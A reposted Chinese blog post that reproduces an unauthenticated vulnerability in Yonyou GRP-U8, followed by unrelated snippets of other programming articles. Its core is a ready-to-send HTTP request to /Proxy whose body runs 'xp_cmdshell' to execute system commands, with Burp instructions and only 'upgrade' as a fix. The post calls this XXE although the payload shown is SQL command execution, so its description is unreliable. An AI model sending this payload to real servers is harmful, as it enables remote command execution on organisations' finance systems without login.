用友GRP-u8 XXE 漏洞复现

摘要:
application/x-wwww-form-urlencodedUser-Agent:Mozilla/4.0(兼容;保持活动缓存控制:无缓存Ver=9.8.0&dp=<>AS_DataRequest<DataSetProviderData<数据<DATAformat=“text”>

用友GRP-u8 XXE 漏洞复现第1张

0x00 漏洞描述

 用友GRP-u8存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导致可加载恶意外部文件。

0x01 漏洞利用条件

无需登录

0x02 漏洞复现

POC:

POST /Proxy HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Host: localhost
Content-Length: 341
Connection: Keep-Alive
Cache-Control: no-cache

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'whoami'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

burp抓包,修改url为/Proxy,在body中添加payload

用友GRP-u8 XXE 漏洞复现第2张用友GRP-u8 XXE 漏洞复现第3张

0x03 修复建议

升级最新版本

转载请注明:Adminxe's Blog » 用友GRP-u8 XXE 漏洞复现

免责声明:文章转载自《用友GRP-u8 XXE 漏洞复现》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇基于solarflare的openonload技术以TCPDirect方法加速epollcentos性能优化cpu相关的测试及方法下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

在SpringBoot自动配置的ObjectMappe基础上增加对空值处理,null转空串"",List、Array转[],Int转0

在SpringBoot自动配置的ObjectMappe基础上增加对空值处理,null转空串"",List、Array转[],Int转0;同时保证SpringBoot自动加载的配置不丢失;网上的一些教程照着改后都是把默认的ObjectMapper配置搞丢,导致我之前配置时间格式,Long精度都时效了,故通过分析产生以下处理方式: 1.自定义Null序列器;我...

mysql中文、英文别名排序问题,order by 关键字详解

 order by 关键字详解:   SELECT intcode AS 商品编码, product_title AS 名称, retailprice AS 零售价, purchaseprice AS 合同进价 FROM product_detail WHERE brand='0063飘柔' AND purchaseprice>10 ORDE...

ElementUI中的el-table怎样实现每一列显示的是控件并能动态实现双向数据绑定

场景 要实现在ElementUI的表格中每一列展示的不是数据而是控件。效果如下 注: 博客: https://blog.csdn.net/badao_liumang_qizhi关注公众号 霸道的程序猿 获取编程相关电子书、教程推送与免费下载。 实现 普通表格官方示例代码 <template> <el-table :data...

07mybatis使用日志框架logback显示sql语句

java 开发领域日志框架 log4j log for java logback 来显示mybatis sql语句 1、在mybatis框架配置文件中 src/main/resource/mybatis-config.xml 加入 <settings> <setting name="logPrefix" value="dao."/>...

Springboot的开发环境(dev)、测试环境(beta)和生产环境(product)打包部署

1、在项目开发过程中需要考虑不同的运行环境:开发环境(dev)、测试环境(beta)和生产环境(product)。在以往的开发过程中通常使用Maven构建工具进行控制,但却需要进行大量的配置。SpringBoot考虑到此类问题,专门设计了profile支持。   备注:尤其是项目开发完毕,在正式环境部署的时候出现问题,进行本地调试的时候就头疼了,因为正式环...

wifi物联网ESP8266开发板V3 ESP-12N F NodeMcu LuaCP2012 的环境搭建

近几天刚开始接触这块开发板,折腾了一天终于将环境搭建好。废话不多说,直接上搭建过程。(我这里使用的arduino的开发软件) 1、打开Arduino,选择“首选项”,在“附加开发板管理器网址”中填入http://arduino.esp8266.com/stable/package_esp8266com_index.json,然后点击确定保存这个地址。 2...